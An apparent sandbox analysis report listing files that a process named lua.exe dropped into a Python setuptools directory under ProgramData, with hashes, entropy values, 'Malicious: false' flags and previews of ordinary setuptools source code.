Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......YS.j.2.9.2.9.2.9:..9.2.9.2.9F2.9.}.9.2.9.`.992.9.`.9.2.9.`.9m2.9.`.9.2.9Rich.2.9................PE..L......Q.....................N.......%............@..........................@..............................................,...(.......................................................................@...............@............................text...]........................... ..`.rdata..` ......."..................@..@.data....+..........................@...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	568
Entropy (8bit):	4.517507866437047
Encrypted:	false
SSDEEP:	12:U3z6jEQRngIqKtaswedlJh/ybt3/NMbJdkyk6EoaFg9tTikN5tTi/5ySFLLHtTiO:rjdtVq3s5l+t1Mojox9YQY/5XHYjB8
MD5:	FC5FB6F88735F3909F8F3B33DDB5FF80
SHA1:	CF238A418A096504ED6D89038E236FCCB3C04B0B
SHA-256:	40202E03DC219EAF019E87346C1692E8BC3F28050ED0388761941710C367E618
SHA-512:	DBDCBEC247D2A4B10506ECC734CC135ACE1C40D6127A9ACA81B7F47F9DA080DF0B861205FC294DF6A5AD7F0D28DDDA7568B1E74E3C73BE43A359C7BF5ACDFD03
Malicious:	false
Preview:	__all__ = [. 'alias', 'bdist_egg', 'bdist_rpm', 'build_ext', 'build_py', 'develop',. 'easy_install', 'egg_info', 'install', 'install_lib', 'rotate', 'saveopts',. 'sdist', 'setopt', 'test', 'install_egg_info', 'install_scripts',. 'bdist_wininst', 'upload_docs', 'build_clib', 'dist_info',.]..from distutils.command.bdist import bdist.import sys..from setuptools.command import install_scripts..if 'egg' not in bdist.format_commands:. bdist.format_command['egg'] = ('bdist_egg', "Python .egg file"). bdist.format_commands.append('egg')..del bdist, sys.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\alias.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	4.31681776422536
Encrypted:	false
SSDEEP:	48:Gl71hQuyinUv4hb2nnDMhLDqVUievrmwz90rmuAf9/rwPxXK73TTql:0731yin+48ohnOQTTql
MD5:	6B8A4071FAD36E65A50FDE422FEB3D48
SHA1:	A5482569A34E9045E6A00B50FBA5107271230316
SHA-256:	D6C2D0C5970D87A7434290E69B81BB506193A25F379D8D4D4CF98D05B9B6B222
SHA-512:	19FA39CD447A7D295F8F5A280A09E6ABE55B1276850CF67CA937AA28C823C6DF8D5D593DE220D79ABA5113E63FDA5E5B553894DEB8CCBDE1E17817D0DDCC8709
Malicious:	false
Preview:	from distutils.errors import DistutilsOptionError..from setuptools.command.setopt import edit_config, option_base, config_file...def shquote(arg):. """Quote an argument for later parsing by shlex.split()""". for c in '"', "'", "\\", "#":. if c in arg:. return repr(arg). if arg.split() != [arg]:. return repr(arg). return arg...class alias(option_base):. """Define a shortcut that invokes one or more commands""".. description = "define a shortcut to invoke one or more commands". command_consumes_arguments = True.. user_options = [. ('remove', 'r', 'remove (unset) the alias'),. ] + option_base.user_options.. boolean_options = option_base.boolean_options + ['remove'].. def initialize_options(self):. option_base.initialize_options(self). self.args = None. self.remove = None.. def finalize_options(self):. option_base.finalize_options(self). if self.remove and len(self.args) != 1:.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\bdist_egg.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18244
Entropy (8bit):	4.450550209791371
Encrypted:	false
SSDEEP:	384:P7AA1cXy67F3Jma/NDDxSdzJ5yHW5mOrGgMt6:P7AAh6R3XOJ5yHW5mO9Mt6
MD5:	F0C805BC90591DF7ACC0F77598CC453C
SHA1:	07CA30838D4C0737C390D04C03A6345D766AD448
SHA-256:	F6A28A2D1F60B585F1F38C715380D0613B4C2BFFE6AEC6B1C235008864357E86
SHA-512:	B1C768EAC8F64114743B367F857A88A44E4172E522E3A4AA2E2C348A635C1A72EE825A64C70ECC145BE44DBFF570C014537A0AB5D7FC0EB80F558B0C5788E57A
Malicious:	false
Preview:	"""setuptools.command.bdist_egg..Build .egg distributions"""..from distutils.errors import DistutilsSetupError.from distutils.dir_util import remove_tree, mkpath.from distutils import log.from types import CodeType.import sys.import os.import re.import textwrap.import marshal.import warnings..from pkg_resources import get_build_platform, Distribution, ensure_directory.from pkg_resources import EntryPoint.from setuptools.extension import Library.from setuptools import Command, SetuptoolsDeprecationWarning..from sysconfig import get_path, get_python_version...def _get_purelib():. return get_path("purelib")...def strip_module(filename):. if '.' in filename:. filename = os.path.splitext(filename)[0]. if filename.endswith('module'):. filename = filename[:-6]. return filename...def sorted_walk(dir):. """Do os.walk in a reproducible way,. independent of indeterministic filesystem readdir order. """. for base, dirs, files in os.walk(dir):. dirs.sort

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\bdist_rpm.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	900
Entropy (8bit):	4.278077470620012
Encrypted:	false
SSDEEP:	24:gMEGHaBo/CqbpJgN7gi5mv9Nz/7e9NFuhP:HUBGCqzgNc+mLae
MD5:	1FEA5037CFCCF062A40CCCBFBA7DB6F7
SHA1:	CB66C7B481CA98F995A2F54E9F5D85911DA854D5
SHA-256:	FF863BB55033BB5CC4B8373CB6945D13FB32DF3493DE1DCB3D3B738A8A2CE429
SHA-512:	387CC1D1F3D21B774183CBF4E8C50EE1D498E34FC72A8053C005580E865452D856636821529F668F7697C8DEE7F272499EC9DE365E1C99EEE675EC1E0B6D5575
Malicious:	false
Preview:	import distutils.command.bdist_rpm as orig...class bdist_rpm(orig.bdist_rpm):. """. Override the default bdist_rpm behavior to do the following:.. 1. Run egg_info to ensure the name and version are properly calculated.. 2. Always run 'install' using --single-version-externally-managed to. disable eggs in RPM distributions.. """.. def run(self):. # ensure distro name is up-to-date. self.run_command('egg_info').. orig.bdist_rpm.run(self).. def _make_spec_file(self):. spec = orig.bdist_rpm._make_spec_file(self). spec = [. line.replace(. "setup.py install ",. "setup.py install --single-version-externally-managed ". ).replace(. "%setup",. "%setup -n %{name}-%{unmangled_version}". ). for line in spec. ]. return spec.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\bdist_wininst.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	922
Entropy (8bit):	4.344630309981415
Encrypted:	false
SSDEEP:	12:0TMbwbreXQoYQBXb95bqpKyRCvKwpXUh4SgQxs2xFUBtQe8bBH4PiaNIlEvsldiZ:gMYkQzcTqpK4wGh4S3s22IB7v7ieru
MD5:	668C913385E1AAFAC95D467E372E759B
SHA1:	12E1A6E15CCB0E9A61EB69AC5B06096BB10C9509
SHA-256:	4E6A9AF705B417C8BFEF62875A9BBDA4376708DE84AFFF2E254B36526080C130
SHA-512:	8D37B2DF3FBC57817F812FA0B336F64BDE2CB293ED60D927F8B28D91AB995F280B74AC7D8EB72F1AEB2108191D3926CCC482591ADE7BFE1CB2A5167ABFAF1BE4
Malicious:	false
Preview:	import distutils.command.bdist_wininst as orig.import warnings..from setuptools import SetuptoolsDeprecationWarning...class bdist_wininst(orig.bdist_wininst):. def reinitialize_command(self, command, reinit_subcommands=0):. """. Supplement reinitialize_command to work around. http://bugs.python.org/issue20819. """. cmd = self.distribution.reinitialize_command(. command, reinit_subcommands). if command in ('install', 'install_lib'):. cmd.install_lib = None. return cmd.. def run(self):. warnings.warn(. "bdist_wininst is deprecated and will be removed in a future ". "version. Use bdist_wheel (wheel packages) instead.",. SetuptoolsDeprecationWarning. ).. self._is_running = True. try:. orig.bdist_wininst.run(self). finally:. self._is_running = False.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\build_clib.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4415
Entropy (8bit):	4.002732268627592
Encrypted:	false
SSDEEP:	96:XmmRRV5uinsJmPOw9Rmr5IJmD4lZ2rNrAqjW4ddHk:2m779iNjAzem
MD5:	2D4BFF774400FF672FF40797FDF92507
SHA1:	D8414C9AC5C0109E1E863B887CAA72B3B075DFA6
SHA-256:	7D61D2146924D7454275D0560ACCEF361A306C6F59F42657563436B92227A0EB
SHA-512:	7498E0D503124EED4E0FB57BCA612B62405245AE541DFC1AE145F0908A8E25C7D698B4C20D7D9E29D1B35684150C19DB1DEEC4CDC99BFA5751C47ABBC7467668
Malicious:	false
Preview:	import distutils.command.build_clib as orig.from distutils.errors import DistutilsSetupError.from distutils import log.from setuptools.dep_util import newer_pairwise_group...class build_clib(orig.build_clib):. """. Override the default build_clib behaviour to do the following:.. 1. Implement a rudimentary timestamp-based dependency system. so 'compile()' doesn't run every time.. 2. Add more keys to the 'build_info' dictionary:. * obj_deps - specify dependencies for each object compiled.. this should be a dictionary mapping a key. with the source filename to a list of. dependencies. Use an empty string for global. dependencies.. * cflags - specify a list of additional flags to pass to. the compiler.. """.. def build_libraries(self, libraries):. for (lib_name, build_info) in libraries:. sources = build_info.get('sources').

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\build_ext.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13027
Entropy (8bit):	4.402222772923825
Encrypted:	false
SSDEEP:	192:Zx155IeMb8i/+SOLBN55snLRNv3+bPlTIKPK55bNq:ZxiL+JFsL/MPFPKrc
MD5:	EFDC5747D8A2938D635E216B42B05252
SHA1:	9CFD65A18C296D65F3B4B1EA3F36D5A2D6E5470A
SHA-256:	688FEA9CAF66F2550B6434BA5CCBFFA768F6A487A155B49AADBE0F2470C0EDDC
SHA-512:	9C847AC23CC24407AE598B095B26BD3853356029AE03714F3AAA3A87C2C5E647A87E3EE0EA359DD726A697B1D758183824B41409599B7B037D2A24EF8170325E
Malicious:	false
Preview:	import os.import sys.import itertools.from importlib.machinery import EXTENSION_SUFFIXES.from distutils.command.build_ext import build_ext as _du_build_ext.from distutils.file_util import copy_file.from distutils.ccompiler import new_compiler.from distutils.sysconfig import customize_compiler, get_config_var.from distutils.errors import DistutilsError.from distutils import log..from setuptools.extension import Library..try:. # Attempt to use Cython for building extensions, if available. from Cython.Distutils.build_ext import build_ext as _build_ext. # Additionally, assert that the compiler module will load. # also. Ref #1229.. __import__('Cython.Compiler.Main').except ImportError:. _build_ext = _du_build_ext..# make sure _config_vars is initialized.get_config_var("LDSHARED").from distutils.sysconfig import _config_vars as _CONFIG_VARS # noqa...def _customize_compiler_for_shlib(compiler):. if sys.platform == "darwin":. # building .dylib requires additional c

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\build_py.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9473
Entropy (8bit):	4.347556590279039
Encrypted:	false
SSDEEP:	96:bI/qG+1R5+53rBpaRyKSg6hPsIlGglGz9dZ/8qVwO4JbZNOn6jF6F7Or4hj+3QG8:sO1RcFBQADdigIhT/T4J7IFNjoQZr
MD5:	CCD2B6F2C44281EDCFC9E9B504F3FFC4
SHA1:	53221D742CF994DAB38BB39FBF107384CCAE86E8
SHA-256:	D740CD62268CEF4ED4189F9E57A60D708291375A5B53B5305C66145C00AB5D4F
SHA-512:	CB498AD95DF0C7381697D204FC6239288728B0D14400F382B65933D60990A53826EB5E5878BD3938C06AAB580C2E2999DF36EF27622840595FDCAAF31BA2B36A
Malicious:	false
Preview:	from glob import glob.from distutils.util import convert_path.import distutils.command.build_py as orig.import os.import fnmatch.import textwrap.import io.import distutils.errors.import itertools.import stat..try:. from setuptools.lib2to3_ex import Mixin2to3.except Exception:.. class Mixin2to3:. def run_2to3(self, files, doctests=True):. "do nothing"...def make_writable(target):. os.chmod(target, os.stat(target).st_mode \| stat.S_IWRITE)...class build_py(orig.build_py, Mixin2to3):. """Enhanced 'build_py' command that includes data files with packages.. The data files are specified via a 'package_data' argument to 'setup()'.. See 'setuptools.dist.Distribution' for more details... Also, this version of the 'build_py' command allows you to specify both. 'py_modules' and 'packages' in the same setup operation.. """.. def finalize_options(self):. orig.build_py.finalize_options(self). self.package_data = self.distribution.package_d

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\develop.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8045
Entropy (8bit):	4.417521277394386
Encrypted:	false
SSDEEP:	96:qrlMLFJ0GKAbrBILB4LqmoG8oV8ZvaR1t0g5zZMI5KvZJmJmUS6Zg0smjpH+P:x5lKgrBILB4myu/SqxJjiZg0Zy
MD5:	070D0AEF52F261EBA2F286637E769CE8
SHA1:	8149B9AEAEB2C23A22717EEAB4E85BD39B4E11CB
SHA-256:	074A79761ED5AD231D11F85D504FC02655A4D94C407AC38E635E02015E7F0C40
SHA-512:	81014D0123C5F888C87E7C279846C090A33E75691E1162022CA13EF7E2EE95438816DA2DBC1B37FBA8A40ABBC82D9148B16E13464001AE6A64ADAB97EFE20828
Malicious:	false
Preview:	from distutils.util import convert_path.from distutils import log.from distutils.errors import DistutilsError, DistutilsOptionError.import os.import glob.import io..import pkg_resources.from setuptools.command.easy_install import easy_install.from setuptools import namespaces.import setuptools...class develop(namespaces.DevelopInstaller, easy_install):. """Set up package for development""".. description = "install package in 'development mode'".. user_options = easy_install.user_options + [. ("uninstall", "u", "Uninstall this source package"),. ("egg-path=", None, "Set the path to be used in the .egg-link file"),. ].. boolean_options = easy_install.boolean_options + ['uninstall'].. command_consumes_arguments = False # override base.. def run(self):. if self.uninstall:. self.multi_version = True. self.uninstall_link(). self.uninstall_namespaces(). else:. self.install_for_development(). s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\dist_info.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	960
Entropy (8bit):	4.46687605159988
Encrypted:	false
SSDEEP:	24:en/MsWJOLMkCbeczaSWbGhQ0znd5GWb/v:enUfwLaaSWihzKWj
MD5:	8E63B92477E2C02E10805857EA5CF636
SHA1:	07ABE0249CB9763A24EFC7055AF7F6FA18FB1915
SHA-256:	E6DEA439FADD8002D3F8FDE882CB3A3C5F64F8B7B27ACB9EC9CBA4DDD5326672
SHA-512:	3E3F2E552408720D9753D124326C8A374214888ED164B6CEC52C41B3E8B38FA7A95D350752ABE3CCBFDFE7F81D06663123F805DA2B6054F8D3512D8545FA52B7
Malicious:	false
Preview:	""".Create a dist_info directory.As defined in the wheel specification."""..import os..from distutils.core import Command.from distutils import log...class dist_info(Command):.. description = 'create a .dist-info directory'.. user_options = [. ('egg-base=', 'e', "directory containing .egg-info directories". " (default: top of the source tree)"),. ].. def initialize_options(self):. self.egg_base = None.. def finalize_options(self):. pass.. def run(self):. egg_info = self.get_finalized_command('egg_info'). egg_info.egg_base = self.egg_base. egg_info.finalize_options(). egg_info.run(). dist_info_dir = egg_info.egg_info[:-len('.egg-info')] + '.dist-info'. log.info("creating '{}'".format(os.path.abspath(dist_info_dir))).. bdist_wheel = self.get_finalized_command('bdist_wheel'). bdist_wheel.egg2dist(egg_info.egg_info, dist_info_dir).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\easy_install.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	86430
Entropy (8bit):	4.409210177069537
Encrypted:	false
SSDEEP:	768:vc6GqJmlngWmo7QQBV5Lfhp3oqj1NVPgFoAyLDMCmbeNjRrjSUVU2i6qw2H6M6tX:vHkWW7Uehf1XXLQiZ+V6l2H6M6xc9XAZ
MD5:	3531C9A51C4C6C2F18493424DFB2D51D
SHA1:	B79660C1844668B1EB11A8542554157D6F176E89
SHA-256:	94C4CC05BC2C35D7FBBD83898CF0996025015D5A8ECCAB1DF8D084D15EFA7675
SHA-512:	884C8DCD85D767BD4770C8A2AC4526DEC98041DA07DC32F2D642ACCAF3213EF567CB1E2ED308FF9A3DB6AF2D3E6AB429DFEC9ED95E8BCE5C1BFF675B46A32893
Malicious:	false
Preview:	""".Easy Install.------------..A tool for doing automatic download/extract/build of distutils-based Python.packages. For detailed documentation, see the accompanying EasyInstall.txt.file, or visit the `EasyInstall home page`__...__ https://setuptools.readthedocs.io/en/latest/easy_install.html.."""..from glob import glob.from distutils.util import get_platform.from distutils.util import convert_path, subst_vars.from distutils.errors import (. DistutilsArgError, DistutilsOptionError,. DistutilsError, DistutilsPlatformError,.).from distutils.command.install import INSTALL_SCHEMES, SCHEME_KEYS.from distutils import log, dir_util.from distutils.command.build_scripts import first_line_re.from distutils.spawn import find_executable.import sys.import os.import zipimport.import shutil.import tempfile.import zipfile.import re.import stat.import random.import textwrap.import warnings.import site.import struct.import contextlib.import subprocess.import shlex.import io.import configparser...

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\egg_info.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	25495
Entropy (8bit):	4.393707718507853
Encrypted:	false
SSDEEP:	192:E6ClzxUck0qgjdse4UAZ8uy7FPJDOLghNswxrAKXO3bfa1UpntWz38gT7+fnQkZC:E6CNeck0jjmy6chNsarBOrSrDTiymS
MD5:	547563048D1684E619A11B988FCC5D69
SHA1:	47A1B892D7F4474CEA3BECB042177DD78C4C1F6F
SHA-256:	6BE7C2ED2088A6B69FACE94510E7C07FBA31292A655BDDA4466D5166412E046A
SHA-512:	132EBF988C8F9F4C34FABDB1974CC0B91D9CF22457CDAE5AB1318CC93558FFD3CF7595E276224812C970786D948FF1B7A910885317F28428DA485630798D2B46
Malicious:	false
Preview:	"""setuptools.command.egg_info..Create a distribution's .egg-info directory and contents"""..from distutils.filelist import FileList as _FileList.from distutils.errors import DistutilsInternalError.from distutils.util import convert_path.from distutils import log.import distutils.errors.import distutils.filelist.import os.import re.import sys.import io.import warnings.import time.import collections..from setuptools import Command.from setuptools.command.sdist import sdist.from setuptools.command.sdist import walk_revctrl.from setuptools.command.setopt import edit_config.from setuptools.command import bdist_egg.from pkg_resources import (. parse_requirements, safe_name, parse_version,. safe_version, yield_lines, EntryPoint, iter_entry_points, to_filename).import setuptools.unicode_utils as unicode_utils.from setuptools.glob import glob..from setuptools.extern import packaging.from setuptools import SetuptoolsDeprecationWarning...def translate_pattern(glob):. """. Translate a

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\install.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4705
Entropy (8bit):	4.484072718867001
Encrypted:	false
SSDEEP:	96:/kudlF+i/O2RCFEXxSGjfhrtLgqgJmQhXMuon64dAIm3wn:XlYz2RCFEXxS6ft3gEUXi6cBn
MD5:	52357392851D613DDC2ECB39EEA683FA
SHA1:	445482EF8E7C7867EDDFC2AE1D47137FB71F2415
SHA-256:	F1DA0CC5E4040E82B811CA3498ED969575F3CE9F509EC18943B67BC969193C6F
SHA-512:	8C2A2E99ABFB51EEF3473F55CA2475A33982E1021F07793943E588196D204D531C7F152BF2651D1172ACFCD1038285BBFB07E13BF9A017C058CBC042E1E5F8D7
Malicious:	false
Preview:	from distutils.errors import DistutilsArgError.import inspect.import glob.import warnings.import platform.import distutils.command.install as orig..import setuptools..# Prior to numpy 1.9, NumPy relies on the '_install' name, so provide it for.# now. See https://github.com/pypa/setuptools/issues/199/._install = orig.install...class install(orig.install):. """Use easy_install to install the package, w/dependencies""".. user_options = orig.install.user_options + [. ('old-and-unmanageable', None, "Try not to use this!"),. ('single-version-externally-managed', None,. "used by system package builders to create 'flat' eggs"),. ]. boolean_options = orig.install.boolean_options + [. 'old-and-unmanageable', 'single-version-externally-managed',. ]. new_commands = [. ('install_egg_info', lambda self: True),. ('install_scripts', lambda self: True),. ]. _nc = dict(new_commands).. def initialize_options(self):. orig.install

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\install_egg_info.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	4.398298621943252
Encrypted:	false
SSDEEP:	48:q78eGJFbLllaqWhepPT7c4dAySPOMMyUTykbM643xu:FnVXaZsP845SPOMEnM7u
MD5:	848F427F19947B4D2018E0C534A08082
SHA1:	1C27418005494C3C11130CC0AAFC3A00604C186A
SHA-256:	6CC81E21E4625F34380C018F575DF6F24723C108C78CE594E059E00162D5EFC4
SHA-512:	23D10AED68B189AE6D2A7186FFD2BD2542FD28DBF7C48B0D360DE8118E02FE59E63EB3A8B452985EDA86BADACE2CBF281E8F4113D59BF95F4A77A820CF764B99
Malicious:	false
Preview:	from distutils import log, dir_util.import os..from setuptools import Command.from setuptools import namespaces.from setuptools.archive_util import unpack_archive.import pkg_resources...class install_egg_info(namespaces.Installer, Command):. """Install an .egg-info directory for the package""".. description = "Install an .egg-info directory for the package".. user_options = [. ('install-dir=', 'd', "directory to install to"),. ].. def initialize_options(self):. self.install_dir = None.. def finalize_options(self):. self.set_undefined_options('install_lib',. ('install_dir', 'install_dir')). ei_cmd = self.get_finalized_command("egg_info"). basename = pkg_resources.Distribution(. None, None, ei_cmd.egg_name, ei_cmd.egg_version. ).egg_name() + '.egg-info'. self.source = ei_cmd.egg_info. self.target = os.path.join(self.install_dir, basename). self.outputs = [].. d

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\install_lib.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3875
Entropy (8bit):	4.376777063152348
Encrypted:	false
SSDEEP:	48:ZCuXNDtnGdadLEJVzOuoyOQQtypGG7E0Hg9O8dUfW0vrY41cSK/vkYOAuwmdtMj/:Z/ia2J8umtkMAg9DU+0zYUkjpp
MD5:	214D864401AD4F7E8CC920D6CBE5D8A8
SHA1:	D9C16445A8945267182DA0B86CED1DC9F4FC69AD
SHA-256:	533E3631CB321D9023AC1E9CC3D13B073D31B1A4DBCF19CCD4F23D0818623ED1
SHA-512:	AE96A3E204C452CA179688220A147E4DF09B9A35A5C0183608719E43EE739F4E3C664942E2A08A596F6DFA344989D89A63A96E7264C130EE9DB7B4F01FBEDAD6
Malicious:	false
Preview:	import os.import sys.from itertools import product, starmap.import distutils.command.install_lib as orig...class install_lib(orig.install_lib):. """Don't add compiled flags to filenames of non-Python files""".. def run(self):. self.build(). outfiles = self.install(). if outfiles is not None:. # always compile, in case we have any extension stubs to deal with. self.byte_compile(outfiles).. def get_exclusions(self):. """. Return a collections.Sized collections.Container of paths to be. excluded for single_version_externally_managed installations.. """. all_packages = (. pkg. for ns_pkg in self._get_SVEM_NSPs(). for pkg in self._all_packages(ns_pkg). ).. excl_specs = product(all_packages, self._gen_exclusion_paths()). return set(starmap(self._exclude_pkg_path, excl_specs)).. def _exclude_pkg_path(self, pkg, exclusion_path):. """. Giv

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\install_scripts.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2519
Entropy (8bit):	4.37144379343325
Encrypted:	false
SSDEEP:	48:VPlS/UUWBo79exqWwwqzPJWwuW5BcH/U0g+2iOM6cDQJYJx+vULGH:JlSKKexZwwqzPw65M/Ng+bOM6cDQJEGH
MD5:	27B1DA3B8AA347D6C804D2E65B78DC00
SHA1:	7EB7EBC39D874B2BDFEC19444F8837978B4A3710
SHA-256:	C7BB1D1080AEC85A5A7F92EE597713A78F6862DF0478D6F02A45B63EFF935572
SHA-512:	159A22CEB2443F0E3D983ED46752C2E3850C89F26CA20EDD531BEACC6F446318DDCD456EF385E7FA77FF86E99A58E338DE0521C8C1E15739A63014563547C61A
Malicious:	false
Preview:	from distutils import log.import distutils.command.install_scripts as orig.import os.import sys..from pkg_resources import Distribution, PathMetadata, ensure_directory...class install_scripts(orig.install_scripts):. """Do normal script install, plus any egg_info wrapper scripts""".. def initialize_options(self):. orig.install_scripts.initialize_options(self). self.no_ep = False.. def run(self):. import setuptools.command.easy_install as ei.. self.run_command("egg_info"). if self.distribution.scripts:. orig.install_scripts.run(self) # run first to set up self.outfiles. else:. self.outfiles = []. if self.no_ep:. # don't install entry point scripts into .egg file!. return.. ei_cmd = self.get_finalized_command("egg_info"). dist = Distribution(. ei_cmd.egg_base, PathMetadata(ei_cmd.egg_base, ei_cmd.egg_info),. ei_cmd.egg_name, ei_cmd.egg_version,.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\launcher manifest.xml Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	628
Entropy (8bit):	4.569734347992454
Encrypted:	false
SSDEEP:	12:TMHdtlw+53gV8eXCSNewxCglY0kiVQxA0y:2dtlwe3grXRNpxDlYbi/T
MD5:	0B558625CA3F941533EC9F652837753C
SHA1:	403EE9B5C7A834A1B3905A87A4C6318E68609996
SHA-256:	C652DB8D6AC1D35B4A0B4FA195590E2A48923DBCCC9A5D9E38FB49FEE7029DB1
SHA-512:	956E70AF1B3DC200A70F70C04AA467522D96FC1A1ABF8928EF60BE72DF0BCBDEF50BBDCC20330EE4B5F9FCB0C7EE546849B5BE72EF9EE071475F6BBA2E405CBF
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">. <assemblyIdentity version="1.0.0.0". processorArchitecture="X86". name="%(name)s". type="win32"/>. Identify the application security requirements. -->. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">. <security>. <requestedPrivileges>. <requestedExecutionLevel level="asInvoker" uiAccess="false"/>. </requestedPrivileges>. </security>. </trustInfo>.</assembly>.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\py36compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4946
Entropy (8bit):	4.17397434301304
Encrypted:	false
SSDEEP:	48:cOJFEukBcwl6mALdRLnaGJGDHpdWe/NTA5PCh7/EN2WrxAuW0sqD9eBnSWvAvWQ5:bk/6mALnLnx8TWuxqPCaNF693R4OQ66v
MD5:	4630E987A636EDB9A7D34BE5B54F193E
SHA1:	8933413BE98BBEABDC068D7F7C492E62723E7FCC
SHA-256:	EF22D6CD08F5EFD127C77A49F15D5C0C30B378B30531DF5725794AFA2653AB96
SHA-512:	5EA5541407F51D4869A971512D49BE912425F5C4D3FE6092AB5A09EF7CB5AC5565AEBCE0DEEF4233CA3371B315B06DCA42076DA3A3ED78053D717F2C36901D32
Malicious:	false
Preview:	import os.from glob import glob.from distutils.util import convert_path.from distutils.command import sdist...class sdist_add_defaults:. """. Mix-in providing forward-compatibility for functionality as found in. distutils on Python 3.7... Do not edit the code in this class except to update functionality. as implemented in distutils. Instead, override in the subclass.. """.. def add_defaults(self):. """Add all the default files to self.filelist:. - README or README.txt. - setup.py. - test/test*.py. - all pure Python modules mentioned in setup script. - all files pointed by package_data (build_py). - all files defined in data_files.. - all files defined as scripts.. - all C sources listed as part of extensions or C libraries. in the setup script (doesn't catch C headers!). Warns if (README or README.txt) or setup.py are missing; everything. else is optional..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\register.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	468
Entropy (8bit):	4.443299016300185
Encrypted:	false
SSDEEP:	12:1BNJKTMegOYZ2xoqHgDcIgZmCWgHSZ8G0DllYm9/p2yWG9qH2:1BNAMegT2gQIgZ73HSCGillYO/j922
MD5:	58E7138E8EDFA64DD5B58348C9C9141A
SHA1:	50972F4E50B1F2A414FD028B22FDF16754B59C14
SHA-256:	924DC3C5709BE655D3BEA9E17F0C7683AABB8B06D49A04F25D409A068A013949
SHA-512:	81CAF02BE7B4EDB937C1FE2B15C71153CD6F98F131A8C4953B7778A5957ABF39BFBB34522862BB4DBCA935668FF67A7A6D0802199BABBBB390FA6D451760C929
Malicious:	false
Preview:	from distutils import log.import distutils.command.register as orig..from setuptools.errors import RemovedCommandError...class register(orig.register):. """Formerly used to register packages on PyPI.""".. def run(self):. msg = (. "The register command has been removed, use twine to upload ". + "instead (https://pypi.org/p/twine)". ).. self.announce("ERROR: " + msg, log.ERROR).. raise RemovedCommandError(msg).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\rotate.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2128
Entropy (8bit):	4.2046614569731116
Encrypted:	false
SSDEEP:	24:1BNMBJMf4X6mJqne54sDK0DpVdJzR1iRoSP1i53NKzbW1iiQIEqsrmf5Mcut4ix7:GggX6+uKxMXdK3GbEvXxyzxdMiFnNb
MD5:	3EBD81D353415030EAB02711E30D10AF
SHA1:	DE8E175DC3729C35B755E21FDF02E9196972F79E
SHA-256:	4AFB103DAB1ECC8A233E3BCC9DF92ACE1F0FD14D2D0A3D1D69CCC5F2E7373503
SHA-512:	E2C925379757A71CA119F9A0213121DB101912BF346395E9FFB56C0003DA23C686BC4E4D15F84AE936540A48382E1E5C483E34B4987A1D13C8133EE7D2103C30
Malicious:	false
